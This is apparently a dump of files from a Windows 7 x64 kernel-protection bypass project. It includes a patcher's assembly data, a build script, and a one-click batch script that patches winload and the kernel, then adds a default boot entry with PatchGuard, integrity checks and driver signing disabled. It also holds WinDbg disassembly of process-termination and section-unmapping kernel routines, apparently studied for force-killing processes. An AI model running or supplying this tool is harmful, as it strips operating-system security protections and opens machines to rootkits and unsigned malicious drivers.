msg_success	db	'SUCCESS',0Ah

msg_size	=	$ - msg_success

msg_failed	db	'FAILED!',0Ah

a		=	$ - msg_failed

if a > msg_size

msg_size = a

end if





section '.idata' import data readable writeable



				dd	0,0,0,RVA kernel_name,	RVA kernel_table

				dd	0,0,0,0,0



kernel_table:

CloseHandle			dq	RVA _CloseHandle

CreateFileA			dq	RVA _CreateFileA

DeleteFileA			dq	RVA _DeleteFileA

GetStdHandle			dq	RVA _GetStdHandle

GetSystemDirectoryA		dq	RVA _GetSystemDirectoryA

ReadFile			dq	RVA _ReadFile

WriteFile			dq	RVA _WriteFile

				dq	0



kernel_name			db	'KERNEL32.DLL',0



; kernel32.dll:

_CloseHandle			db	0,0,'CloseHandle',0

_CreateFileA			db	0,0,'CreateFileA',0

_DeleteFileA			db	0,0,'DeleteFileA',0

_GetStdHandle			db	0,0,'GetStdHandle',0

_GetSystemDirectoryA		db	0,0,'GetSystemDirectoryA',0

_ReadFile			db	0,0,'ReadFile',0

_WriteFile			db	0,0,'WriteFile',0





section '.data' data readable writeable



filename			rb	(MAX_PATH+12+16)



file_buf_size			=	16*1024*1024		; 16 MB should be enough

file_buf			rb	file_buf_size








Windows7 x64/编程实现突破Win64内核保护机制/src/破解PGDS/_compile.bat

set fasmbin=\asm\fasm\bin

set fasminc=\asm\fasm\include

@echo off

if exist patch.exe del patch.exe

%fasmbin%\fasm.exe patch.asm

pause








Windows7 x64/编程实现突破Win64内核保护机制/src/破解PGDS/一键破解pgds.cmd

@ECHO OFF



ECHO.

ECHO Creating patched copies of winload, ntkrnlmp/ntoskrnl...

ECHO.

patch.exe



ECHO.

ECHO Creating BCD Entry...

ECHO.

set ENTRY_GUID={46595952-454E-4F50-4747-554944FFFFFF}

bcdedit -create %ENTRY_GUID% -d "DriverSigning&PatchGuard Disabled" -application OSLOADER

bcdedit -set %ENTRY_GUID% device partition=%SYSTEMDRIVE%

bcdedit -set %ENTRY_GUID% osdevice partition=%SYSTEMDRIVE%

bcdedit -set %ENTRY_GUID% systemroot \Windows

bcdedit -set %ENTRY_GUID% path \Windows\system32\freeload.exe

bcdedit -set %ENTRY_GUID% kernel goodkrnl.exe

bcdedit -set %ENTRY_GUID% recoveryenabled 0

bcdedit -set %ENTRY_GUID% nx OptOut

bcdedit -set %ENTRY_GUID% nointegritychecks 1

bcdedit -set %ENTRY_GUID% testsigning 1

bcdedit -displayorder %ENTRY_GUID% -addlast

bcdedit -timeout 5

bcdedit -default %ENTRY_GUID%



ECHO.

ECHO Setting PEAUTH service to manual... (avoid BSOD at login screen)

ECHO.

sc config peauth start= demand



ECHO.

ECHO Complete!

ECHO.

PAUSE








调试结果.txt

srv*c:\symbols*http://msdl.microsoft.com/download/symbols 

kd> u ZwTerminateProcess

nt!ZwTerminateProcess:

83e4e43c b872010000      mov     eax,172h

83e4e441 8d542404        lea     edx,[esp+4]

83e4e445 9c              pushfd

83e4e446 6a08            push    8

83e4e448 e8a10b0000      call    nt!KiSystemService (83e4efee)

83e4e44d c20800          ret     8



kd> u NtTerminateProcess l80

nt!NtTerminateProcess:

8406d9bf 8bff            mov     edi,edi

8406d9c1 55              push    ebp

8406d9c2 8bec            mov     ebp,esp

8406d9c4 83ec10          sub     esp,10h

8406d9c7 53              push    ebx

8406d9c8 56              push    esi

8406d9c9 648b3524010000  mov     esi,dword ptr fs:[124h]

8406d9d0 8b5e50          mov     ebx,dword ptr [esi+50h]

8406d9d3 8a863a010000    mov     al,byte ptr [esi+13Ah]

8406d9d9 57              push    edi

8406d9da 33ff            xor     edi,edi

8406d9dc 895df0          mov     dword ptr [ebp-10h],ebx

8406d9df 8845f4          mov     byte ptr [ebp-0Ch],al

8406d9e2 897dfc          mov     dword ptr [ebp-4],edi

8406d9e5 397d08          cmp     dword ptr [ebp+8],edi

8406d9e8 0f84a8000000    je      nt!NtTerminateProcess+0xd7 (8406da96)

8406d9ee 57              push    edi

8406d9ef 8d45f8          lea     eax,[ebp-8]

8406d9f2 50              push    eax

8406d9f3 ff75f4          push    dword ptr [ebp-0Ch]

8406d9f6 ff352cb0f783    push    dword ptr [nt!PsProcessType (83f7b02c)]

8406d9fc 6a01            push    1

8406d9fe ff7508          push    dword ptr [ebp+8]

8406da01 e80e64fcff      call    nt!ObReferenceObjectByHandle (84033e14)

8406da06 3bc7            cmp     eax,edi

8406da08 8b4df8          mov     ecx,dword ptr [ebp-8]

8406da0b 894df4          mov     dword ptr [ebp-0Ch],ecx

8406da0e 0f8cd1010000    jl      nt!NtTerminateProcess+0x225 (8406dbe5)

8406da14 81c1b0000000    add     ecx,0B0h

8406da1a 8b11            mov     edx,dword ptr [ecx]

8406da1c 83e2fe          and     edx,0FFFFFFFEh

8406da1f 8d4202          lea     eax,[edx+2]

8406da22 8bf8            mov     edi,eax

8406da24 8bd9            mov     ebx,ecx

8406da26 8bc2            mov     eax,edx

8406da28 f00fb13b        lock cmpxchg dword ptr [ebx],edi

8406da2c 3bc2            cmp     eax,edx

8406da2e 741b            je      nt!NtTerminateProcess+0x8c (8406da4b)

8406da30 e815cde3ff      call    nt!ExfAcquireRundownProtection (83eaa74a)

8406da35 84c0            test    al,al

8406da37 7512            jne     nt!NtTerminateProcess+0x8c (8406da4b)

8406da39 8b4df8          mov     ecx,dword ptr [ebp-8]

8406da3c e882c2e1ff      call    nt!ObfDereferenceObject (83e89cc3)

8406da41 b80a0100c0      mov     eax,0C000010Ah

8406da46 e99a010000      jmp     nt!NtTerminateProcess+0x225 (8406dbe5)

8406da4b 66ff8e84000000  dec     word ptr [esi+84h]

8406da52 6a08            push    8

8406da54 59              pop     ecx

8406da55 894dfc          mov     dword ptr [ebp-4],ecx

8406da58 8b45f8          mov     eax,dword ptr [ebp-8]

8406da5b 8bd1            mov     edx,ecx

8406da5d 8db870020000    lea     edi,[eax+270h]

8406da63 8b07            mov     eax,dword ptr [edi]

8406da65 8bd8            mov     ebx,eax

8406da67 0bda            or      ebx,edx

8406da69 f00fb11f        lock cmpxchg dword ptr [edi],ebx

8406da6d 75f6            jne     nt!NtTerminateProcess+0xa6 (8406da65)

8406da6f 84c1            test    cl,al

8406da71 740c            je      nt!NtTerminateProcess+0xc0 (8406da7f)

8406da73 c745fc0a000000  mov     dword ptr [ebp-4],0Ah

8406da7a e9d2000000      jmp     nt!NtTerminateProcess+0x192 (8406db51)

8406da7f a900000040      test    eax,40000000h

8406da84 0f84c7000000    je      nt!NtTerminateProcess+0x192 (8406db51)

8406da8a c745fc0c000000  mov     dword ptr [ebp-4],0Ch

8406da91 e9bb000000      jmp     nt!NtTerminateProcess+0x192 (8406db51)

8406da96 3c01            cmp     al,1

8406da98 740a            je      nt!NtTerminateProcess+0xe5 (8406daa4)

8406da9a b8bb0000c0      mov     eax,0C00000BBh

8406da9f e941010000      jmp     nt!NtTerminateProcess+0x225 (8406dbe5)

8406daa4 66ff8e84000000  dec     word ptr [esi+84h]

8406daab 895df4          mov     dword ptr [ebp-0Ch],ebx

8406daae 8dbb98000000    lea     edi,[ebx+98h]

8406dab4 8bc7            mov     eax,edi

8406dab6 f00fba2800      lock bts dword ptr [eax],0

8406dabb 7307            jae     nt!NtTerminateProcess+0x105 (8406dac4)

8406dabd 8bcf            mov     ecx,edi

8406dabf e8c960e3ff      call    nt!ExfAcquirePushLockExclusive (83ea3b8d)

8406dac4 b900000040      mov     ecx,40000000h

8406dac9 81c370020000    add     ebx,270h

8406dacf 8b03            mov     eax,dword ptr [ebx]

8406dad1 8bd0            mov     edx,eax

8406dad3 0bd1            or      edx,ecx

8406dad5 f00fb113        lock cmpxchg dword ptr [ebx],edx

8406dad9 75f6            jne     nt!NtTerminateProcess+0x112 (8406dad1)

8406dadb 8bcf            mov     ecx,edi

8406dadd a908000040      test    eax,40000008h

8406dae2 744f            je      nt!NtTerminateProcess+0x174 (8406db33)

8406dae4 83c8ff          or      eax,0FFFFFFFFh

8406dae7 f00fc101        lock xadd dword ptr [ecx],eax

8406daeb a802            test    al,2

8406daed 7409            je      nt!NtTerminateProcess+0x139 (8406daf8)

8406daef a804            test    al,4

8406daf1 7505            jne     nt!NtTerminateProcess+0x139 (8406daf8)

8406daf3 e83f63e6ff      call    nt!ExfTryToWakePushLock (83ed3e37)

8406daf8 66ff8684000000  inc     word ptr [esi+84h]

8406daff 0fb78684000000  movzx   eax,word ptr [esi+84h]

8406db06 6685c0          test    ax,ax

8406db09 7516            jne     nt!NtTerminateProcess+0x162 (8406db21)

8406db0b 8d4640          lea     eax,[esi+40h]

8406db0e 3900            cmp     dword ptr [eax],eax

8406db10 740f            je      nt!NtTerminateProcess+0x162 (8406db21)

8406db12 6683be8600000000 cmp     word ptr [esi+86h],0

8406db1a 7505            jne     nt!NtTerminateProcess+0x162 (8406db21)

8406db1c e878b9dcff      call    nt!KiCheckForKernelApcDelivery (83e39499)

8406db21 6a01            push    1

8406db23 ff750c          push    dword ptr [ebp+0Ch]

8406db26 56              push    esi

8406db27 e8bb34ffff      call    nt!PspTerminateThreadByPointer (84060fe7)

8406db2c 33c0            xor     eax,eax

8406db2e e9b2000000      jmp     nt!NtTerminateProcess+0x225 (8406dbe5)

8406db33 818e8402000080000000 or  dword ptr [esi+284h],80h

8406db3d 83c8ff          or      eax,0FFFFFFFFh

8406db40 f00fc101        lock xadd dword ptr [ecx],eax

8406db44 a802            test    al,2

8406db46 7409            je      nt!NtTerminateProcess+0x192 (8406db51)

8406db48 a804            test    al,4

8406db4a 7505            jne     nt!NtTerminateProcess+0x192 (8406db51)

8406db4c e8e662e6ff      call    nt!ExfTryToWakePushLock (83ed3e37)

8406db51 ff75fc          push    dword ptr [ebp-4]

8406db54 8b5df4          mov     ebx,dword ptr [ebp-0Ch]

8406db57 ff750c          push    dword ptr [ebp+0Ch]

8406db5a 56              push    esi

8406db5b 53              push    ebx

8406db5c e890000000      call    nt!PspTerminateAllThreads (8406dbf1)

8406db61 837d0800        cmp     dword ptr [ebp+8],0

8406db65 8bf8            mov     edi,eax

8406db67 7451            je      nt!NtTerminateProcess+0x1fa (8406dbba)

8406db69 8bcb            mov     ecx,ebx



kd> u PsTerminateSystemThread l20

nt!PsTerminateSystemThread:

840207e8 8bff            mov     edi,edi

840207ea 55              push    ebp

840207eb 8bec            mov     ebp,esp

840207ed 64a124010000    mov     eax,dword ptr fs:[00000124h]

840207f3 f7403c00200000  test    dword ptr [eax+3Ch],2000h

840207fa 7507            jne     nt!PsTerminateSystemThread+0x1b (84020803)

840207fc b80d0000c0      mov     eax,0C000000Dh

84020801 eb0b            jmp     nt!PsTerminateSystemThread+0x26 (8402080e)

84020803 6a01            push    1

84020805 ff7508          push    dword ptr [ebp+8]

84020808 50              push    eax

84020809 e8d9570400      call    nt!PspTerminateThreadByPointer (84065fe7)

8402080e 5d              pop     ebp

8402080f c20400          ret     4

kd> u PspTerminateThreadByPointer l80

nt!PspTerminateThreadByPointer:

84065fe7 8bff            mov     edi,edi

84065fe9 55              push    ebp

84065fea 8bec            mov     ebp,esp

84065fec 83e4f8          and     esp,0FFFFFFF8h

84065fef 51              push    ecx

84065ff0 53              push    ebx

84065ff1 56              push    esi

84065ff2 8b7508          mov     esi,dword ptr [ebp+8]

84065ff5 57              push    edi

84065ff6 8dbe80020000    lea     edi,[esi+280h]

84065ffc f60740          test    byte ptr [edi],40h

84065fff 7428            je      nt!PspTerminateThreadByPointer+0x42 (84066029)

84066001 8d8650010000    lea     eax,[esi+150h]

84066007 8b08            mov     ecx,dword ptr [eax]

84066009 8b8970020000    mov     ecx,dword ptr [ecx+270h]

8406600f f7c108000040    test    ecx,40000008h

84066015 7512            jne     nt!PspTerminateThreadByPointer+0x42 (84066029)

84066017 8b00            mov     eax,dword ptr [eax]

84066019 056c010000      add     eax,16Ch

8406601e 50              push    eax

8406601f 68c0fc0284      push    offset nt! ?? ::NNGAKEGL::`string' (8402fcc0)

84066024 e8cbef0800      call    nt!PspCatchCriticalBreak (840f4ff4)

84066029 33db            xor     ebx,ebx

8406602b 385d10          cmp     byte ptr [ebp+10h],bl

8406602e 7419            je      nt!PspTerminateThreadByPointer+0x61 (84066049)

84066030 64a124010000    mov     eax,dword ptr fs:[00000124h]

84066036 3bf0            cmp     esi,eax

84066038 750f            jne     nt!PspTerminateThreadByPointer+0x61 (84066049)

8406603a 33c0            xor     eax,eax

8406603c 40              inc     eax

8406603d f00907          lock or dword ptr [edi],eax

84066040 ff750c          push    dword ptr [ebp+0Ch]

84066043 e842a00100      call    nt!PspExitThread (8408008a)

84066048 cc              int     3

84066049 f7463c00200000  test    dword ptr [esi+3Ch],2000h

84066050 7429            je      nt!PspTerminateThreadByPointer+0x93 (8406607b)

84066052 b8220000c0      mov     eax,0C0000022h

84066057 e984000000      jmp     nt!PspTerminateThreadByPointer+0xf8 (840660e0)

8406605c 6850734578      push    78457350h

84066061 6a30            push    30h

84066063 53              push    ebx

84066064 e89c0fedff      call    nt!ExAllocatePoolWithTag (83f37005)

84066069 8bf0            mov     esi,eax

8406606b 3bf3            cmp     esi,ebx

8406606d 7516            jne     nt!PspTerminateThreadByPointer+0x9d (84066085)

8406606f 68a003e683      push    offset nt!PspShortTime (83e603a0)

84066074 53              push    ebx

84066075 53              push    ebx

84066076 e8b0cee2ff      call    nt!KeDelayExecutionThread (83e92f2b)

8406607b 8b07            mov     eax,dword ptr [edi]

8406607d a801            test    al,1

8406607f 74db            je      nt!PspTerminateThreadByPointer+0x74 (8406605c)

84066081 33c0            xor     eax,eax

84066083 eb5b            jmp     nt!PspTerminateThreadByPointer+0xf8 (840660e0)

84066085 f00fba2f00      lock bts dword ptr [edi],0

8406608a 724b            jb      nt!PspTerminateThreadByPointer+0xef (840660d7)

8406608c ff750c          push    dword ptr [ebp+0Ch]

8406608f 53              push    ebx

84066090 687b400984      push    offset nt!PspExitNormalApc (8409407b)

84066095 685e400984      push    offset nt!PspExitApcRundown (8409405e)

8406609a 682f400984      push    offset nt!PsExitSpecialApc (8409402f)

8406609f 53              push    ebx

840660a0 ff7508          push    dword ptr [ebp+8]

840660a3 56              push    esi

840660a4 e84a0de6ff      call    nt!KeInitializeApc (83ec6df3)

840660a9 6a02            push    2

840660ab 53              push    ebx

840660ac 56              push    esi

840660ad 56              push    esi

840660ae e86367e6ff      call    nt!KeInsertQueueApc (83ecc816)

840660b3 53              push    ebx

840660b4 84c0            test    al,al

840660b6 750d            jne     nt!PspTerminateThreadByPointer+0xdd (840660c5)

840660b8 56              push    esi

840660b9 e8fc19edff      call    nt!ExFreePoolWithTag (83f37aba)

840660be bb010000c0      mov     ebx,0C0000001h

840660c3 eb19            jmp     nt!PspTerminateThreadByPointer+0xf6 (840660de)

840660c5 ff7508          push    dword ptr [ebp+8]

840660c8 e83392e4ff      call    nt!KeAlertThread (83eaf300)

840660cd 8b4508          mov     eax,dword ptr [ebp+8]

840660d0 e8ca61e6ff      call    nt!KeForceResumeThread (83ecc29f)

840660d5 eb07            jmp     nt!PspTerminateThreadByPointer+0xf6 (840660de)

840660d7 53              push    ebx

840660d8 56              push    esi

840660d9 e8dc19edff      call    nt!ExFreePoolWithTag (83f37aba)

840660de 8bc3            mov     eax,ebx

840660e0 5f              pop     edi

840660e1 5e              pop     esi

840660e2 5b              pop     ebx

840660e3 8be5            mov     esp,ebp

840660e5 5d              pop     ebp

840660e6 c20c00          ret     0Ch

kd> u PsGetNextProcessThread l50

nt!PsGetNextProcessThread:

8404b1e8 8bff            mov     edi,edi

8404b1ea 55              push    ebp

8404b1eb 8bec            mov     ebp,esp

8404b1ed 83ec10          sub     esp,10h

8404b1f0 8365fc00        and     dword ptr [ebp-4],0

8404b1f4 8365f800        and     dword ptr [ebp-8],0

8404b1f8 53              push    ebx

8404b1f9 56              push    esi

8404b1fa 648b3524010000  mov     esi,dword ptr fs:[124h]

8404b201 66ff8e84000000  dec     word ptr [esi+84h]

8404b208 57              push    edi

8404b209 8d9888010000    lea     ebx,[eax+188h]

8404b20f 8d8898000000    lea     ecx,[eax+98h]

8404b215 6a11            push    11h

8404b217 894df4          mov     dword ptr [ebp-0Ch],ecx

8404b21a 5a              pop     edx

8404b21b 8bf9            mov     edi,ecx

8404b21d 33c0            xor     eax,eax

8404b21f f00fb117        lock cmpxchg dword ptr [edi],edx

8404b223 85c0            test    eax,eax

8404b225 7405            je      nt!PsGetNextProcessThread+0x44 (8404b22c)

8404b227 e8fdf5e7ff      call    nt!ExfAcquirePushLockShared (83eca829)

8404b22c 8b4508          mov     eax,dword ptr [ebp+8]

8404b22f 85c0            test    eax,eax

8404b231 7504            jne     nt!PsGetNextProcessThread+0x4f (8404b237)

8404b233 8b3b            mov     edi,dword ptr [ebx]

8404b235 eb1c            jmp     nt!PsGetNextProcessThread+0x6b (8404b253)

8404b237 8bb868020000    mov     edi,dword ptr [eax+268h]

8404b23d eb14            jmp     nt!PsGetNextProcessThread+0x6b (8404b253)

8404b23f 8d9798fdffff    lea     edx,[edi-268h]

8404b245 8955fc          mov     dword ptr [ebp-4],edx

8404b248 e8a501e6ff      call    nt!ObReferenceObjectSafe (83eab3f2)

8404b24d 84c0            test    al,al

8404b24f 7508            jne     nt!PsGetNextProcessThread+0x71 (8404b259)

8404b251 8b3f            mov     edi,dword ptr [edi]

8404b253 3bfb            cmp     edi,ebx

8404b255 75e8            jne     nt!PsGetNextProcessThread+0x57 (8404b23f)

8404b257 eb07            jmp     nt!PsGetNextProcessThread+0x78 (8404b260)

8404b259 c745f801000000  mov     dword ptr [ebp-8],1

8404b260 8b4df4          mov     ecx,dword ptr [ebp-0Ch]

8404b263 6a11            push    11h

8404b265 33d2            xor     edx,edx

8404b267 8bf9            mov     edi,ecx

8404b269 58              pop     eax

8404b26a f00fb117        lock cmpxchg dword ptr [edi],edx

8404b26e 83f811          cmp     eax,11h

8404b271 7405            je      nt!PsGetNextProcessThread+0x90 (8404b278)

8404b273 e8f6f3e7ff      call    nt!ExfReleasePushLockShared (83eca66e)

8404b278 66ff8684000000  inc     word ptr [esi+84h]

8404b27f 0fb78684000000  movzx   eax,word ptr [esi+84h]

8404b286 33ff            xor     edi,edi

8404b288 663bc7          cmp     ax,di

8404b28b 7515            jne     nt!PsGetNextProcessThread+0xba (8404b2a2)

8404b28d 8d4640          lea     eax,[esi+40h]

8404b290 3900            cmp     dword ptr [eax],eax

8404b292 740e            je      nt!PsGetNextProcessThread+0xba (8404b2a2)

8404b294 6639be86000000  cmp     word ptr [esi+86h],di

8404b29b 7505            jne     nt!PsGetNextProcessThread+0xba (8404b2a2)

8404b29d e8f731dfff      call    nt!KiCheckForKernelApcDelivery (83e3e499)

8404b2a2 8b4d08          mov     ecx,dword ptr [ebp+8]

8404b2a5 3bcf            cmp     ecx,edi

8404b2a7 7405            je      nt!PsGetNextProcessThread+0xc6 (8404b2ae)

8404b2a9 e8153ae4ff      call    nt!ObfDereferenceObject (83e8ecc3)

8404b2ae 397df8          cmp     dword ptr [ebp-8],edi

8404b2b1 7503            jne     nt!PsGetNextProcessThread+0xce (8404b2b6)

8404b2b3 897dfc          mov     dword ptr [ebp-4],edi

8404b2b6 8b45fc          mov     eax,dword ptr [ebp-4]

8404b2b9 5f              pop     edi

8404b2ba 5e              pop     esi

8404b2bb 5b              pop     ebx

8404b2bc c9              leave

8404b2bd c20400          ret     4

kd> u MmUnmapViewOfSection l10

nt!MmUnmapViewOfSection:

8408d5b8 8bff            mov     edi,edi

8408d5ba 55              push    ebp

8408d5bb 8bec            mov     ebp,esp

8408d5bd 6a00            push    0

8408d5bf ff750c          push    dword ptr [ebp+0Ch]

8408d5c2 ff7508          push    dword ptr [ebp+8]

8408d5c5 e8640afdff      call    nt!MiUnmapViewOfSection (8405e02e)

8408d5ca 5d              pop     ebp

8408d5cb c20800          ret     8

kd> u NtUnmapViewOfSection l30

nt!NtUnmapViewOfSection:

8407c63a 8bff            mov     edi,edi

8407c63c 55              push    ebp

8407c63d 8bec            mov     ebp,esp

8407c63f 51              push    ecx

8407c640 51              push    ecx

8407c641 64a124010000    mov     eax,dword ptr fs:[00000124h]

8407c647 8a803a010000    mov     al,byte ptr [eax+13Ah]

8407c64d 56              push    esi

8407c64e 8b750c          mov     esi,dword ptr [ebp+0Ch]

8407c651 8845f8          mov     byte ptr [ebp-8],al

8407c654 3c01            cmp     al,1

8407c656 750f            jne     nt!NtUnmapViewOfSection+0x2d (8407c667)

8407c658 3b351407f883    cmp     esi,dword ptr [nt!MmHighestUserAddress (83f80714)]

8407c65e 7607            jbe     nt!NtUnmapViewOfSection+0x2d (8407c667)

8407c660 b8190000c0      mov     eax,0C0000019h

8407c665 eb34            jmp     nt!NtUnmapViewOfSection+0x61 (8407c69b)

8407c667 6a00            push    0

8407c669 8d45fc          lea     eax,[ebp-4]

8407c66c 50              push    eax

8407c66d ff75f8          push    dword ptr [ebp-8]

8407c670 ff352c00f883    push    dword ptr [nt!PsProcessType (83f8002c)]

8407c676 6a08            push    8

8407c678 ff7508          push    dword ptr [ebp+8]

8407c67b e894c7fbff      call    nt!ObReferenceObjectByHandle (84038e14)

8407c680 85c0            test    eax,eax

8407c682 7c17            jl      nt!NtUnmapViewOfSection+0x61 (8407c69b)

8407c684 6a00            push    0

8407c686 56              push    esi

8407c687 ff75fc          push    dword ptr [ebp-4]

8407c68a e89f19feff      call    nt!MiUnmapViewOfSection (8405e02e)

8407c68f 8b4dfc          mov     ecx,dword ptr [ebp-4]

8407c692 8bf0            mov     esi,eax

8407c694 e82a26e1ff      call    nt!ObfDereferenceObject (83e8ecc3)

8407c699 8bc6            mov     eax,esi

8407c69b 5e              pop     esi

8407c69c c9              leave

8407c69d c20800          ret     8

kd> u MiUnmapViewOfSection l80

nt!MiUnmapViewOfSection:

8405e02e 8bff            mov     edi,edi

8405e030 55              push    ebp

8405e031 8bec            mov     ebp,esp

8405e033 83e4f8          and     esp,0FFFFFFF8h

8405e036 83ec44          sub     esp,44h

8405e039 8364241800      and     dword ptr [esp+18h],0

8405e03e 8364240800      and     dword ptr [esp+8],0

8405e043 53              push    ebx

8405e044 8b5d08          mov     ebx,dword ptr [ebp+8]

8405e047 56              push    esi

8405e048 57              push    edi

8405e049 648b3d24010000  mov     edi,dword ptr fs:[124h]

8405e050 395f50          cmp     dword ptr [edi+50h],ebx

8405e053 7413            je      nt!MiUnmapViewOfSection+0x3a (8405e068)

8405e055 8d442438        lea     eax,[esp+38h]

8405e059 50              push    eax

8405e05a 53              push    ebx

8405e05b e8513de5ff      call    nt!KeStackAttachProcess (83eb1db1)

8405e060 c744242401000000 mov     dword ptr [esp+24h],1

8405e068 8b7510          mov     esi,dword ptr [ebp+10h]

8405e06b 83e601          and     esi,1

8405e06e 89742420        mov     dword ptr [esp+20h],esi

8405e072 7522            jne     nt!MiUnmapViewOfSection+0x68 (8405e096)

8405e074 66ff8f86000000  dec     word ptr [edi+86h]

8405e07b 8d8b00010000    lea     ecx,[ebx+100h]

8405e081 8bc1            mov     eax,ecx

8405e083 f00fba2800      lock bts dword ptr [eax],0

8405e088 7305            jae     nt!MiUnmapViewOfSection+0x61 (8405e08f)

8405e08a e8feaae4ff      call    nt!ExfAcquirePushLockExclusive (83ea8b8d)

8405e08f 808f8902000002  or      byte ptr [edi+289h],2

8405e096 f6837002000020  test    byte ptr [ebx+270h],20h

8405e09d 744e            je      nt!MiUnmapViewOfSection+0xbf (8405e0ed)

8405e09f 85f6            test    esi,esi

8405e0a1 7540            jne     nt!MiUnmapViewOfSection+0xb5 (8405e0e3)

8405e0a3 81c300010000    add     ebx,100h

8405e0a9 83c8ff          or      eax,0FFFFFFFFh

8405e0ac 8bcb            mov     ecx,ebx

8405e0ae f00fc101        lock xadd dword ptr [ecx],eax

8405e0b2 a802            test    al,2

8405e0b4 7409            je      nt!MiUnmapViewOfSection+0x91 (8405e0bf)

8405e0b6 a804            test    al,4

8405e0b8 7505            jne     nt!MiUnmapViewOfSection+0x91 (8405e0bf)

8405e0ba e878ade7ff      call    nt!ExfTryToWakePushLock (83ed8e37)

8405e0bf 80a789020000fd  and     byte ptr [edi+289h],0FDh

8405e0c6 8d8786000000    lea     eax,[edi+86h]

8405e0cc 66ff00          inc     word ptr [eax]

8405e0cf 0fb700          movzx   eax,word ptr [eax]

8405e0d2 6685c0          test    ax,ax

8405e0d5 750c            jne     nt!MiUnmapViewOfSection+0xb5 (8405e0e3)

8405e0d7 83c740          add     edi,40h

8405e0da 393f            cmp     dword ptr [edi],edi

8405e0dc 7405            je      nt!MiUnmapViewOfSection+0xb5 (8405e0e3)

8405e0de e8b603deff      call    nt!KiCheckForKernelApcDelivery (83e3e499)

8405e0e3 be0a0100c0      mov     esi,0C000010Ah

8405e0e8 e986020000      jmp     nt!MiUnmapViewOfSection+0x33f (8405e373)

8405e0ed 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]

8405e0f0 e8543ae5ff      call    nt!MiLocateAddress (83eb1b49)

8405e0f5 8944240c        mov     dword ptr [esp+0Ch],eax

8405e0f9 85c0            test    eax,eax

8405e0fb 0f8417020000    je      nt!MiUnmapViewOfSection+0x2e4 (8405e318)

8405e101 f7401400000080  test    dword ptr [eax+14h],80000000h

8405e108 0f850a020000    jne     nt!MiUnmapViewOfSection+0x2e4 (8405e318)

8405e10e 8b480c          mov     ecx,dword ptr [eax+0Ch]

8405e111 8bd1            mov     edx,ecx

8405e113 c1e20c          shl     edx,0Ch

8405e116 89542418        mov     dword ptr [esp+18h],edx

8405e11a 8b5010          mov     edx,dword ptr [eax+10h]

8405e11d 8bf2            mov     esi,edx

8405e11f c1e60c          shl     esi,0Ch

8405e122 81ceff0f0000    or      esi,0FFFh

8405e128 89742434        mov     dword ptr [esp+34h],esi

8405e12c 8b7014          mov     esi,dword ptr [eax+14h]

8405e12f 81e600007000    and     esi,700000h

8405e135 81fe00002000    cmp     esi,200000h

8405e13b 7508            jne     nt!MiUnmapViewOfSection+0x117 (8405e145)

8405e13d 8b742418        mov     esi,dword ptr [esp+18h]

8405e141 89742414        mov     dword ptr [esp+14h],esi

8405e145 2bd1            sub     edx,ecx

8405e147 42              inc     edx

8405e148 c1e20c          shl     edx,0Ch

8405e14b f7401400000800  test    dword ptr [eax+14h],80000h

8405e152 8954241c        mov     dword ptr [esp+1Ch],edx

8405e156 746f            je      nt!MiUnmapViewOfSection+0x199 (8405e1c7)

8405e158 8b742418        mov     esi,dword ptr [esp+18h]

8405e15c 6a55            push    55h

8405e15e 8bc8            mov     ecx,eax

8405e160 e89ef20200      call    nt!MiCheckSecuredVad (8408d403)

8405e165 8bf0            mov     esi,eax

8405e167 85f6            test    esi,esi

8405e169 7d58            jge     nt!MiUnmapViewOfSection+0x195 (8405e1c3)

8405e16b 837c242000      cmp     dword ptr [esp+20h],0

8405e170 0f85eb010000    jne     nt!MiUnmapViewOfSection+0x32d (8405e361)

8405e176 8d8b00010000    lea     ecx,[ebx+100h]

8405e17c 83c8ff          or      eax,0FFFFFFFFh

8405e17f 8bd1            mov     edx,ecx

8405e181 f00fc102        lock xadd dword ptr [edx],eax

8405e185 a802            test    al,2

8405e187 7409            je      nt!MiUnmapViewOfSection+0x164 (8405e192)

8405e189 a804            test    al,4

8405e18b 7505            jne     nt!MiUnmapViewOfSection+0x164 (8405e192)

8405e18d e8a5ace7ff      call    nt!ExfTryToWakePushLock (83ed8e37)

8405e192 80a789020000fd  and     byte ptr [edi+289h],0FDh

8405e199 8d8786000000    lea     eax,[edi+86h]

8405e19f 66ff00          inc     word ptr [eax]

8405e1a2 0fb700          movzx   eax,word ptr [eax]

8405e1a5 6685c0          test    ax,ax

8405e1a8 0f85b3010000    jne     nt!MiUnmapViewOfSection+0x32d (8405e361)

8405e1ae 8d4740          lea     eax,[edi+40h]

8405e1b1 3900            cmp     dword ptr [eax],eax

8405e1b3 0f84a8010000    je      nt!MiUnmapViewOfSection+0x32d (8405e361)

8405e1b9 e8db02deff      call    nt!KiCheckForKernelApcDelivery (83e3e499)

8405e1be e99e010000      jmp     nt!MiUnmapViewOfSection+0x32d (8405e361)

8405e1c3 8b44240c        mov     eax,dword ptr [esp+0Ch]

8405e1c7 8bc8            mov     ecx,eax

8405e1c9 e8fa76e5ff      call    nt!MiGetPreviousNode (83eb58c8)

8405e1ce 8b54240c        mov     edx,dword ptr [esp+0Ch]

8405e1d2 8bca            mov     ecx,edx

8405e1d4 89442430        mov     dword ptr [esp+30h],eax

8405e1d8 e8be76e5ff      call    nt!MiGetNextNode (83eb589b)

8405e1dd 837c241400      cmp     dword ptr [esp+14h],0

8405e1e2 8944242c        mov     dword ptr [esp+2Ch],eax

8405e1e6 0f8499000000    je      nt!MiUnmapViewOfSection+0x251 (8405e285)

8405e1ec 83bbb400000000  cmp     dword ptr [ebx+0B4h],0

8405e1f3 0f848c000000    je      nt!MiUnmapViewOfSection+0x251 (8405e285)

8405e1f9 3b1d3c00f883    cmp     ebx,dword ptr [nt!PsInitialSystemProcess (83f8003c)]

8405e1ff 0f8480000000    je      nt!MiUnmapViewOfSection+0x251 (8405e285)

8405e205 8b4224          mov     eax,dword ptr [edx+24h]

8405e208 8b30            mov     esi,dword ptr [eax]

kd> dt nt!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x098 ProcessLock      : _EX_PUSH_LOCK

   +0x0a0 CreateTime       : _LARGE_INTEGER

   +0x0a8 ExitTime         : _LARGE_INTEGER

   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF

   +0x0b4 UniqueProcessId  : Ptr32 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY

   +0x0c0 ProcessQuotaUsage : [2] Uint4B

   +0x0c8 ProcessQuotaPeak : [2] Uint4B

   +0x0d0 CommitCharge     : Uint4B

   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK

